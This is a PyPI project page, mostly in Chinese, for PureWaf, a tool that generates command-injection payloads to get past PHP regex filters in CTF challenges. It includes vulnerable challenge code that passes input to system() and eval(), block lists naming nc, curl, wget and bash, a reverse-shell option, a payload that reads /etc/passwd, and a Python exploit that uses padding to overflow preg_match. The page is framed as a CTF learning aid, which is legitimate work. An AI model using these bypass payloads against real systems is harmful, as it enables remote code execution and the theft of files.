Skip to main content

WAF Bypass Payload Generator

Project description

PureWaf

Pepy Total Downloads PyPI version License Github stars Example codecov

该项目仅用于教育和学习环节(比如说CTF),不得应用于其他任何恶意目的。

如果该项目出现任何错误或您有任何建议,欢迎在 issues 中提出。

Foreword

CTF中,你是否会因为被像这样:

if(!preg_match('/wget|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\\*|sort|zip|mod|sl|find|sed|cp|mv|ty|php|tee|txt|grep|base|fd|df|\\\\|more|cc|tac|less|head|\.|\{|\}|uniq|copy|%|file|xxd|date|\[|\]|flag|bash|env|!|\?|ls|\'|\"|id/i',$cmd)) {
	echo "你传的参数似乎挺正经的,放你过去吧<br>";
	system($cmd);
} else {
	echo "nonono,hacker!!!";
}

或者是这样:

<?php

highlight_file(__FILE__);

$comm1 = $_GET['comm1'];
$comm2 = $_GET['comm2'];


if(preg_match("/\'|\`|\\|\*|\n|\t|\xA0|\r|\{|\}|\(|\)|<|\&[^\d]|@|\||tail|bin|less|more|string|nl|pwd|cat|sh|flag|find|ls|grep|echo|w/is", $comm1))
    $comm1 = "";
if(preg_match("/\'|\"|;|,|\`|\*|\\|\n|\t|\r|\xA0|\{|\}|\(|\)|<|\&[^\d]|@|\||ls|\||tail|more|cat|string|bin|less||tac|sh|flag|find|grep|echo|w/is", $comm2))
    $comm2 = "";

$flag = "#flag in /flag";

$comm1 = '"' . $comm1 . '"';
$comm2 = '"' . $comm2 . '"';

$cmd = "file $comm1 $comm2";
system($cmd);
?>

的恶心人的WAF所困扰?还在一遍一遍看哪个命令没被Waf?

那么PureWaf就是为了一把梭掉这种Waf而诞生。

Quick Start

pip install PureWaf

from PureWaf import purewaf

Parameters

waf_words

接收被过滤的字符串,格式为: waf|star|system,以 | 作为分割。

waf_chars

接收被过滤的字符,格式为:#$%!,不用分割。

waf_regex

接收正则表达式,格式为: /flag|waf|system|\\|(|)/,适用于字符串和字符混合的 waf,用 /../ 包裹。

limit_length

默认为 999999 ,题目没有限制的情况下不用填写。

flagfile

题目Flag的文件命,默认为 /flag,正常情况下不用更改。

read_env

默认为 False(关闭),开启后就会输出读取环境变量的 payload,以应对 FLAG 放在环境变量的情况。

reflect_shell & port & ip

反弹shell功能开关,默认为 False(关闭),开启后输入 port 和 ip 两个参数就会自动输出反弹shell的 payload。

phpinfo

默认为 False(关闭),开启后会输出能读取 phpinfo 相关的 payload,建议配合 phpv 使用。

log_level

日志查看功能,默认为 "INFO",也可以设置为 “DEBUG” 和 “QUIET”,对应不同等级的提示。

total_payload

默认为 False(关闭),开启后会输出全部 pass 的 payload(默认只输出)。

phpv

php版本,默认为7.0,针对不同php版本的题目环境,你可以自行设置 phpv,以便 PureWaf 将已经不适用的 payload 给剔除。

Examples

MoeCTF2025 这是…Webshell?

<?php
highlight_file(__FILE__);
if(isset($_GET['shell'])) {
    $shell = $_GET['shell'];
    if(!preg_match('/[A-Za-z0-9]/is', $_GET['shell'])) {
        eval($shell);
    } else {
        echo "Hacker!";
    }
}
?>

CISCN 2024 simple_php

ctf.show

ini_set('open_basedir', '/var/www/html/');
error_reporting(0);

if(isset($_POST['cmd'])){
    $cmd = escapeshellcmd($_POST['cmd']); 
     if (!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget|\'|\"|id|whoami/i', $cmd)) {
         system($cmd);
}
}


show_source(__FILE__);
?>

直接提取题中Waf:

/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget|\'|\"|id|whoami/

然后直接输入到PureWaf中:(这里的需要增加 r,不然 \* 会报 SyntaxWarning )

import PureWaf

w = PureWaf.purewaf( waf_regex=r"/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget|\'|\"|id|whoami/i",
flagfile="/etc/passwd"
)

print(w)


# [+] Shortest Root Payload : diff / /tmp
# [+] Shortest Flag Payload : rev /etc/passwd

[红明谷CTF 2021]write_shell

[BUUCTF在线评测](https://buuoj.cn/login?next=%2Fchallenges%3F#[红明谷CTF 2021]write_shell)

<?php
error_reporting(0);
highlight_file(__FILE__);
function check($input){
    if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
        // if(preg_match("/'| |_|=|php/",$input)){
        die('hacker!!!');
    }else{
        return $input;
    }
}

function waf($input){
  if(is_array($input)){
      foreach($input as $key=>$output){
          $input[$key] = waf($output);
      }
  }else{
      $input = check($input);
  }
}

$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
    mkdir($dir);
}
switch($_GET["action"] ?? "") {
    case 'pwd':
        echo $dir;
        break;
    case 'upload':
        $data = $_GET["data"] ?? "";
        waf($data);
        file_put_contents("$dir" . "index.php", $data);
}
?>

middlerce | NSSCTF

[NISACTF 2022]middlerce | NSSCTF

<?php
include "check.php";
if (isset($_REQUEST['letter'])){
    $txw4ever = $_REQUEST['letter'];
    if (preg_match('/^.*([\w]|\^|\*|\(|\~|\`|\?|\/| |\||\&|!|\<|\>|\{|\x09|\x0a|\[).*$/m',$txw4ever)){
        die("再加把油喔");
    }
    else{
        $command = json_decode($txw4ever,true)['cmd'];
        checkdata($command);
        @eval($command);
    }
}
else{
    highlight_file(__FILE__);
}
?>

直接将 Waf 套入 PureWaf:

import PureWaf

w = PureWaf.purewaf(
    waf_regex=r"/^.*([\w]|\^|\*|\(|\~|\`|\?|\/| |\||\&|!|\<|\>|\{|\x09|\x0a|\[).*$/m",
)

print(w)

虽然最后输出N/A,但不同的是,会生成 Example 以提示可以利用的方法:

----------------------------------------
[+] Shortest Root Payload : N/A
[+] Shortest Flag Payload : N/A
----------------------------------------

Example:

import requests

url = ""
payload = '{"cmd":"?><?=`sort /f*`?>","+":"' + "-" * 1000000 + '"}'
res = requests.post(url=url, data={"letter": payload})
print(res.text)

N/A

Limitations

  • 暂时无法实现自定义命令
  • 暂时没有图形化界面
  • 暂时没有内部检查payload是否可行机制
  • 暂时没有白名单选项
  • 暂时只适配 eval($a) 情形

(我们将在未来计划消除这些限制,并同步更新至README)

Contributing

欢迎在 issues 中提供 PureWaf 无法解出的题目并附带对应的wp!

供题者的 ID 将会出现在下一版本的 release中!

Thanks & References

无字母数字webshell之提高篇 | 离别歌

RCE(远程代码执行漏洞)函数&命令&绕过总结 - 星海河 - 博客园

以一道CTF题目看无参数RCE - 泠涯 - 博客园

CTF中的RCE绕过-腾讯云开发者社区-腾讯云

Star History

Star History Chart

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

purewaf-1.1.0.tar.gz (34.6 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

purewaf-1.1.0-py3-none-any.whl (25.5 kB view details)

Uploaded Python 3

File details

Details for the file purewaf-1.1.0.tar.gz.

File metadata

  • Download URL: purewaf-1.1.0.tar.gz
  • Upload date:
  • Size: 34.6 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.2.0 CPython/3.12.6

File hashes

Hashes for purewaf-1.1.0.tar.gz
Algorithm Hash digest
SHA256 03a45b398813c652fa6318d282994acb19b53c017eade1baceebb8b49de2254f
MD5 8aa229e4e7ec1ed43d12f3b7cd3117c5
BLAKE2b-256 33acc112dd222c5a2087253cee799260b21e8437be33f242f86e8314b82c7fbb

See more details on using hashes here.

File details

Details for the file purewaf-1.1.0-py3-none-any.whl.

File metadata

  • Download URL: purewaf-1.1.0-py3-none-any.whl
  • Upload date:
  • Size: 25.5 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.2.0 CPython/3.12.6

File hashes

Hashes for purewaf-1.1.0-py3-none-any.whl
Algorithm Hash digest
SHA256 e6b510f3eaa783821bfd78738a7fc12ae069fd4e844faca9dea53d665b46ce09
MD5 22df180baa55ef2940a605bdd2af18ce
BLAKE2b-256 5edd7027d1a2e549ab7cd84c46214a72f377b18086dcbe78dddc40afd34fc0fe

See more details on using hashes here.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page